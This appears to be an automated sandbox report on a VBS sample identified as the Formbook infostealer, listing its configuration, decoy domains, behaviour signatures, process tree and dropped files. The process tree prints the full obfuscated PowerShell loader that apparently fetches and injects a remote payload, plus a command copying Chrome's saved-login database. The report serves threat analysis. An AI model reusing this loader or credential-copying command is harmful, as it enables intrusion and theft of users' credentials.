Analysis
- max time kernel
148s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20240709-en - resource tags
- submitted
20/07/2024, 10:27
General
- Target 71abad95eeb66ea1fc076a33659dba34d9404a08eb4ad1aaf32c41754abd332e.vbs
- Size 31KB
- Sample240720-mg3xdsxgrp
- SHA256 71abad95eeb66ea1fc076a33659dba34d9404a08eb4ad1aaf32c41754abd332e
Score
10/10
Malware Config
Extracted
Family
-
formbook
Version
-
4.1
Campaign
-
ss24
Decoy
-
agingwellhc.com
-
unikbetanggur.autos
-
eb2024yl.top
-
ja380.xyz
-
thehalcyon.studio
-
maudsoogrim.com
-
esteler10.click
-
mewtcp.xyz
-
www-zjbf1.club
-
kucinglucu.online
-
lunwencheck.com
-
65597.photos
-
erbxeu358h.top
-
startable.online
-
yousend.xyz
-
csharksg.com
-
centricoatings.com
-
ntruhslearn.xyz
-
achabakra.xyz
-
zuntool.com
Signatures
- Formbook
Formbook is a data stealing malware which is capable of stealing data.
- Formbook payload 3 IoCs
- Adds policy Run key to start application 2 TTPs 1 IoCs
- Blocklisted process makes network request 3 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 4 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 49 IoCs
- Suspicious behavior: MapViewOfSection 9 IoCs
- Suspicious use of AdjustPrivilegeToken 10 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 24 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\71abad95eeb66ea1fc076a33659dba34d9404a08eb4ad1aaf32c41754abd332e.vbs"2⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "write 'Selskabsbroder Enswathes Deplorableness Syndefuldeste Kursusmateriale Nonoccupancy saftflaskernes Isohesperidin Datamatiserings Orthostates Pinite Unrealizables Wergeld Pyntens Lyknskning Boreformandens Formenendes219 Embosoms Mlechchha Indberetningspligtens Salinification Porcelaenshund Unanalogousness Armipotence Selskabsbroder Enswathes Deplorableness Syndefuldeste Kursusmateriale Nonoccupancy saftflaskernes Isohesperidin Datamatiserings Orthostates Pinite Unrealizables Wergeld Pyntens Lyknskning Boreformandens Formenendes219 Embosoms Mlechchha Indberetningspligtens Salinification Porcelaenshund Unanalogousness Armipotence';If (${host}.CurrentCulture) {$Forstavelse='SUBsTR';$Afdkk52++;}$Forstavelse+='ing';Function Choreographer($Endura){$Uncontaminate=$Endura.Length-$Afdkk52;For( $Morgnerne=2;$Morgnerne -lt $Uncontaminate;$Morgnerne+=3){$Selskabsbroder+=$Endura.$Forstavelse.Invoke( $Morgnerne, $Afdkk52);}$Selskabsbroder;}function Digitaldisplay($Sykofants){ . ($Ringvejens) ($Sykofants);}$Wiretap=Choreographer 'TiM,uoUnzUni ilKolC,a o/An5 S..t0 i T (InW BiVin.rdS,oSpwTesLi ,NDeTTi 1Er0Di.Sp0Ko; F NlWVaiAen ,6 4Aa;D. B x 6Pe4O,;Ba TerTevPo:De1Ju2Sl1 o..i0Sc) B OvGuneB,cA kBeoOf/Ea2Ko0R 1Up0.o0Th1Cr0Om1Mi A,F.liBor ,eAcfAloFexBe/Ga1Er2 a1N..uv0 . ';$Jeopardizes=Choreographer ',pUPrsV,eDor,j-AaA ng FeF nwatSt ';$Kursusmateriale=Choreographer ',ih Lt Ntpsp TsWi: u/ H/ dTereni BvSreP..Ung roHyoAngCrlUbeIn. Rc oP,mUn/.iu cCo? Ie Oxt.p,no or,etSa=krdMaoAmw ,n SlAro NaIndS,&SiiPldF,= 1 Ste q e0mnNDeEOl9,rN il IaVkDMomInfT xP,USkTC.BCy_in7Or3Stm nzBagin7A,D V .JKiYSkQ fBTr7 ,r Uw A ';$Dykningens=Choreographer ' R> . ';$Ringvejens=Choreographer ',si,neByxRe ';$Drosches='Isohesperidin';$Unpromulgated = Choreographer ' Ne Ac ahVooFe Li% ,a TpUdpAmdRea tS.aVi%An\ErUHadU lS.eB.d en,ti gnU.gDi. EPUneSkrEc D.&Ba&N, Ue ocA.hInoFy svtK, ';Digitaldisplay (Choreographer 'Sy$VagEul eoCab kaFll,o:FlSSuk,hiDem ,mFoeO l .s TvDia mE,psee L=A ( lc,rmIndS ,/Arc,i S$FoULin JpOpr VoExmU.u.pl,ogIna PtMee UdPr)O, ');Digitaldisplay (Choreographer 'Zo$Grg HlU.oFubHua hl :MiS Uyunn,rdM e dfTuu PlPrdU ebasCytN.ema= $RuK yuFirT s .u.rsOfm.la TtPae rr .iCha BlB,e.a. ,sI.p Il .iAat i(ro$SpD Iy ekFlnF,is n gKneUnn ,sBe)Sa ');Digitaldisplay (Choreographer 'Ho[ .NexeD tU,..aSSteGar bvEnig.cBae HPArodeiPenF,tUdMU.aLanThaMigFee .r ,]gl: .:FrS .ePhcS,uP rFriL,tPayFoP FrUnoPatApoS,c .o Bl Ly=Ov R [T NUneOctSc.R SIneTicPau,irHoiR.tR,yS PZerA ourtTro,dcWioGolE.T RyprpAfeM ]Tn: w: kTBalH.sSp1 ,2Ar ');$Kursusmateriale=$Syndefuldeste[0];$Smldfed= (Choreographer ',e$.eg sl mo ,b Oa llDe: tSG.k ,r im,kb arJutPat oeJvrPo=CzNsoeCawIn-StOHebAfj neMacG.tMi P,S nyH.sDetK,eSpmCu.R.NSge tRe.UnWGrem bBeCoplfeiAmeS n.at');$Smldfed+=$Skimmelsvampe[1];Digitaldisplay ($Smldfed);Digitaldisplay (Choreographer ' R$NuS.rkIdrSkmS,bFor LtRotUdeS r C. H .e PausdKae Cr hsEn[P,$MiJ,oe,ooDupO aMirSodKuiSkzflef.sSt].e= P$R.W.oiMerbaeM tKuaCopFo ');$Dirigibility64=Choreographer '.t$.kS Uk ,r ImB,bfarN tTot yefor,a. FD loSawDan ,lP oBeaS dDoFGaiS lRoes,(,j$PeKYduc rnes ,u Ds.umAnaMetGreHerR i eaPalTeeA.,Un$ UP HoB rHac eSulTeaIneP n TsAdhDeutinLid.a)Ud ';$Porcelaenshund=$Skimmelsvampe[0];Digitaldisplay (Choreographer 'St$ RgPhlBao Mb ,aNolSy:C,CStaNimNobF rFyi c ,e inFrsPe=Aa( iTUpe HsA.tU,-KnPE.aT.t,uh . d$IrPteoByrImc Pe Rl Aa,he n VsSuhFlu sn Pd.o) S ');while (!$Cambricens) {Digitaldisplay (Choreographer 'D,$BegKal .oPobK,aU,l,r:TuRDruEdlEvl OeRamApa ad Ar EaPhs Ds oe Sn Q1Fr7Re1L =Sl$ At,pr ,uRaeJo ') ;Digitaldisplay $Dirigibility64;Digitaldisplay (Choreographer 'FuS,utLiaK.rGrt a-PaS Fl Ne OeFupJo Di4 M ');Digitaldisplay (Choreographer 'L $Eng PlAco.rbC,aU,l U:D,C Pab,m .bCir DiAbcPae Bn tsSn= P(F.Tp e SsStt y-SmPStaSwtUnhTy su$,lPWaoTrr .cSeeSwl .aP,eDunKas nh tuP nRadKn)Tr ') ;Digitaldisplay (Choreographer 'Es$,ygFll,noNab caNglEx: SDR eBypCol GoS rTra bStl ne PnJoe ksH.spo=Kl$Fug l HoBibD.aCal .:FrER,nNesj,wReaThtS,h,ye BsG + A+e,% S$,tSEryElnRedDie f,eu RlE.d te asPstFaeN .StcTeotau FnSatC. ') ;$Kursusmateriale=$Syndefuldeste[$Deplorableness];}$Unimbanked=307700;$Trouss=26859;Digitaldisplay (Choreographer ',o$ pg El HoArbHoaOul k: LDPra .tFlaUsmEna BtNaiBosL eGrrFriBynQugTes A Bi=Ak uG eActMi-A.C ohunStt ,eHan,ptT. Om$ ,Pf,oH,r c.re .lRea .eNenPisPoh .uS nDid F ');Digitaldisplay (Choreographer ' $TogStlE o.obBaaNulOc: KB,l FiOlpG p.oe is,tpGlaK.lDetOceStr .n Pe.es , R= e L[KiSOvy Bs Bt ne im n..oCPlo ,n,kvCoeObr,ut B]F.: T:s FHerUnoFim OBtraTisVeePr6S,4 KS MtCor ,iTrnShgBr(Mi$ UDnoaPrtEla lm,raT.tOsiTrsS e.rr Si pn PgStsAn)Ba ');Digitaldisplay (Choreographer ' $TrgS l Mo.obf,aL lSt:TaUNon BrFae daVal ,i .z.yaAlb Dl jeudsMo O =Am B,[U S uyPrsPotPee ImSe.UnTHeeBaxT tBr.PrEDenA c,moGrdleiK nSvg K]br:Pa: OAS SUnCF I SIFr.NoG .eRetInSAmtDdrGui BnBog p(.i$WiKColA iNop,upAseR,sMupInaEtlCatSteCorL,nLieYusC,)U ');Digitaldisplay (Choreographer 'E $ Ag tl Io .b .aO lve:FoBMaeS.tAroSyn Dk DlAno ,d .s,reU.r B=Ug$GkU .nslrV eSca,ilUniLizR,aKib .lNoe SsSt.Tes,yu AbL,sLotMrrPaiInn SgIm(Fi$SeUFin OiAmmFlb Sa SnSpkS e SdSl, .$inTWirDooFouP,sFlsVa)Ep ');Digitaldisplay $Betonklodser;"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Udledning.Per && echo t"4⤵
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "write 'Selskabsbroder Enswathes Deplorableness Syndefuldeste Kursusmateriale Nonoccupancy saftflaskernes Isohesperidin Datamatiserings Orthostates Pinite Unrealizables Wergeld Pyntens Lyknskning Boreformandens Formenendes219 Embosoms Mlechchha Indberetningspligtens Salinification Porcelaenshund Unanalogousness Armipotence Selskabsbroder Enswathes Deplorableness Syndefuldeste Kursusmateriale Nonoccupancy saftflaskernes Isohesperidin Datamatiserings Orthostates Pinite Unrealizables Wergeld Pyntens Lyknskning Boreformandens Formenendes219 Embosoms Mlechchha Indberetningspligtens Salinification Porcelaenshund Unanalogousness Armipotence';If (${host}.CurrentCulture) {$Forstavelse='SUBsTR';$Afdkk52++;}$Forstavelse+='ing';Function Choreographer($Endura){$Uncontaminate=$Endura.Length-$Afdkk52;For( $Morgnerne=2;$Morgnerne -lt $Uncontaminate;$Morgnerne+=3){$Selskabsbroder+=$Endura.$Forstavelse.Invoke( $Morgnerne, $Afdkk52);}$Selskabsbroder;}function Digitaldisplay($Sykofants){ . ($Ringvejens) ($Sykofants);}$Wiretap=Choreographer 'TiM,uoUnzUni ilKolC,a o/An5 S..t0 i T (InW BiVin.rdS,oSpwTesLi ,NDeTTi 1Er0Di.Sp0Ko; F NlWVaiAen ,6 4Aa;D. B x 6Pe4O,;Ba TerTevPo:De1Ju2Sl1 o..i0Sc) B OvGuneB,cA kBeoOf/Ea2Ko0R 1Up0.o0Th1Cr0Om1Mi A,F.liBor ,eAcfAloFexBe/Ga1Er2 a1N..uv0 . ';$Jeopardizes=Choreographer ',pUPrsV,eDor,j-AaA ng FeF nwatSt ';$Kursusmateriale=Choreographer ',ih Lt Ntpsp TsWi: u/ H/ dTereni BvSreP..Ung roHyoAngCrlUbeIn. Rc oP,mUn/.iu cCo? Ie Oxt.p,no or,etSa=krdMaoAmw ,n SlAro NaIndS,&SiiPldF,= 1 Ste q e0mnNDeEOl9,rN il IaVkDMomInfT xP,USkTC.BCy_in7Or3Stm nzBagin7A,D V .JKiYSkQ fBTr7 ,r Uw A ';$Dykningens=Choreographer ' R> . ';$Ringvejens=Choreographer ',si,neByxRe ';$Drosches='Isohesperidin';$Unpromulgated = Choreographer ' Ne Ac ahVooFe Li% ,a TpUdpAmdRea tS.aVi%An\ErUHadU lS.eB.d en,ti gnU.gDi. EPUneSkrEc D.&Ba&N, Ue ocA.hInoFy svtK, ';Digitaldisplay (Choreographer 'Sy$VagEul eoCab kaFll,o:FlSSuk,hiDem ,mFoeO l .s TvDia mE,psee L=A ( lc,rmIndS ,/Arc,i S$FoULin JpOpr VoExmU.u.pl,ogIna PtMee UdPr)O, ');Digitaldisplay (Choreographer 'Zo$Grg HlU.oFubHua hl :MiS Uyunn,rdM e dfTuu PlPrdU ebasCytN.ema= $RuK yuFirT s .u.rsOfm.la TtPae rr .iCha BlB,e.a. ,sI.p Il .iAat i(ro$SpD Iy ekFlnF,is n gKneUnn ,sBe)Sa ');Digitaldisplay (Choreographer 'Ho[ .NexeD tU,..aSSteGar bvEnig.cBae HPArodeiPenF,tUdMU.aLanThaMigFee .r ,]gl: .:FrS .ePhcS,uP rFriL,tPayFoP FrUnoPatApoS,c .o Bl Ly=Ov R [T NUneOctSc.R SIneTicPau,irHoiR.tR,yS PZerA ourtTro,dcWioGolE.T RyprpAfeM ]Tn: w: kTBalH.sSp1 ,2Ar ');$Kursusmateriale=$Syndefuldeste[0];$Smldfed= (Choreographer ',e$.eg sl mo ,b Oa llDe: tSG.k ,r im,kb arJutPat oeJvrPo=CzNsoeCawIn-StOHebAfj neMacG.tMi P,S nyH.sDetK,eSpmCu.R.NSge tRe.UnWGrem bBeCoplfeiAmeS n.at');$Smldfed+=$Skimmelsvampe[1];Digitaldisplay ($Smldfed);Digitaldisplay (Choreographer ' R$NuS.rkIdrSkmS,bFor LtRotUdeS r C. H .e PausdKae Cr hsEn[P,$MiJ,oe,ooDupO aMirSodKuiSkzflef.sSt].e= P$R.W.oiMerbaeM tKuaCopFo ');$Dirigibility64=Choreographer '.t$.kS Uk ,r ImB,bfarN tTot yefor,a. FD loSawDan ,lP oBeaS dDoFGaiS lRoes,(,j$PeKYduc rnes ,u Ds.umAnaMetGreHerR i eaPalTeeA.,Un$ UP HoB rHac eSulTeaIneP n TsAdhDeutinLid.a)Ud ';$Porcelaenshund=$Skimmelsvampe[0];Digitaldisplay (Choreographer 'St$ RgPhlBao Mb ,aNolSy:C,CStaNimNobF rFyi c ,e inFrsPe=Aa( iTUpe HsA.tU,-KnPE.aT.t,uh . d$IrPteoByrImc Pe Rl Aa,he n VsSuhFlu sn Pd.o) S ');while (!$Cambricens) {Digitaldisplay (Choreographer 'D,$BegKal .oPobK,aU,l,r:TuRDruEdlEvl OeRamApa ad Ar EaPhs Ds oe Sn Q1Fr7Re1L =Sl$ At,pr ,uRaeJo ') ;Digitaldisplay $Dirigibility64;Digitaldisplay (Choreographer 'FuS,utLiaK.rGrt a-PaS Fl Ne OeFupJo Di4 M ');Digitaldisplay (Choreographer 'L $Eng PlAco.rbC,aU,l U:D,C Pab,m .bCir DiAbcPae Bn tsSn= P(F.Tp e SsStt y-SmPStaSwtUnhTy su$,lPWaoTrr .cSeeSwl .aP,eDunKas nh tuP nRadKn)Tr ') ;Digitaldisplay (Choreographer 'Es$,ygFll,noNab caNglEx: SDR eBypCol GoS rTra bStl ne PnJoe ksH.spo=Kl$Fug l HoBibD.aCal .:FrER,nNesj,wReaThtS,h,ye BsG + A+e,% S$,tSEryElnRedDie f,eu RlE.d te asPstFaeN .StcTeotau FnSatC. ') ;$Kursusmateriale=$Syndefuldeste[$Deplorableness];}$Unimbanked=307700;$Trouss=26859;Digitaldisplay (Choreographer ',o$ pg El HoArbHoaOul k: LDPra .tFlaUsmEna BtNaiBosL eGrrFriBynQugTes A Bi=Ak uG eActMi-A.C ohunStt ,eHan,ptT. Om$ ,Pf,oH,r c.re .lRea .eNenPisPoh .uS nDid F ');Digitaldisplay (Choreographer ' $TogStlE o.obBaaNulOc: KB,l FiOlpG p.oe is,tpGlaK.lDetOceStr .n Pe.es , R= e L[KiSOvy Bs Bt ne im n..oCPlo ,n,kvCoeObr,ut B]F.: T:s FHerUnoFim OBtraTisVeePr6S,4 KS MtCor ,iTrnShgBr(Mi$ UDnoaPrtEla lm,raT.tOsiTrsS e.rr Si pn PgStsAn)Ba ');Digitaldisplay (Choreographer ' $TrgS l Mo.obf,aL lSt:TaUNon BrFae daVal ,i .z.yaAlb Dl jeudsMo O =Am B,[U S uyPrsPotPee ImSe.UnTHeeBaxT tBr.PrEDenA c,moGrdleiK nSvg K]br:Pa: OAS SUnCF I SIFr.NoG .eRetInSAmtDdrGui BnBog p(.i$WiKColA iNop,upAseR,sMupInaEtlCatSteCorL,nLieYusC,)U ');Digitaldisplay (Choreographer 'E $ Ag tl Io .b .aO lve:FoBMaeS.tAroSyn Dk DlAno ,d .s,reU.r B=Ug$GkU .nslrV eSca,ilUniLizR,aKib .lNoe SsSt.Tes,yu AbL,sLotMrrPaiInn SgIm(Fi$SeUFin OiAmmFlb Sa SnSpkS e SdSl, .$inTWirDooFouP,sFlsVa)Ep ');Digitaldisplay $Betonklodser;"4⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Udledning.Per && echo t"5⤵
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"5⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\SysWOW64\autochk.exe"C:\Windows\SysWOW64\autochk.exe"2⤵
-
-
C:\Windows\SysWOW64\control.exe"C:\Windows\SysWOW64\control.exe"2⤵
- Adds policy Run key to start application
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V3⤵
-
-
C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
DB1
__PSScriptPolicyTest_ckrat2py.byn.ps1
K67logim.jpeg
K67logrf.ini
K67logrg.ini
K67logri.ini
K67logrv.ini
Udledning.Per
memory/1560-39-0x0000000007330000-0x0000000007352000-memory.dmp
memory/1560-40-0x00000000080D0000-0x0000000008674000-memory.dmp
memory/1560-33-0x0000000005B30000-0x0000000005E84000-memory.dmp
memory/1560-34-0x0000000006100000-0x000000000611E000-memory.dmp
memory/1560-35-0x0000000006140000-0x000000000618C000-memory.dmp
memory/1560-36-0x0000000007A50000-0x00000000080CA000-memory.dmp
memory/1560-37-0x00000000071F0000-0x000000000720A000-memory.dmp
memory/1560-38-0x00000000073D0000-0x0000000007466000-memory.dmp
memory/1560-19-0x0000000002800000-0x0000000002836000-memory.dmp
memory/1560-21-0x0000000005250000-0x0000000005272000-memory.dmp
memory/1560-22-0x0000000005920000-0x0000000005986000-memory.dmp
memory/1560-42-0x0000000008680000-0x000000000E369000-memory.dmp
memory/1560-20-0x0000000005280000-0x00000000058A8000-memory.dmp
memory/1560-23-0x0000000005AC0000-0x0000000005B26000-memory.dmp
memory/3368-58-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3368-59-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3368-63-0x0000000000400000-0x00000000005E4000-memory.dmp
memory/3424-44-0x00007FFF116A0000-0x00007FFF12161000-memory.dmp
memory/3424-62-0x00007FFF116A0000-0x00007FFF12161000-memory.dmp
memory/3424-43-0x00007FFF116A3000-0x00007FFF116A5000-memory.dmp
memory/3424-4-0x00007FFF116A3000-0x00007FFF116A5000-memory.dmp
memory/3424-16-0x00007FFF116A0000-0x00007FFF12161000-memory.dmp
memory/3424-15-0x00007FFF116A0000-0x00007FFF12161000-memory.dmp
memory/3424-14-0x0000016AE2040000-0x0000016AE2062000-memory.dmp
memory/3436-84-0x000000000A1E0000-0x000000000A2FF000-memory.dmp
memory/3488-65-0x0000000000D20000-0x0000000000D47000-memory.dmp
memory/3488-66-0x0000000000970000-0x000000000099F000-memory.dmp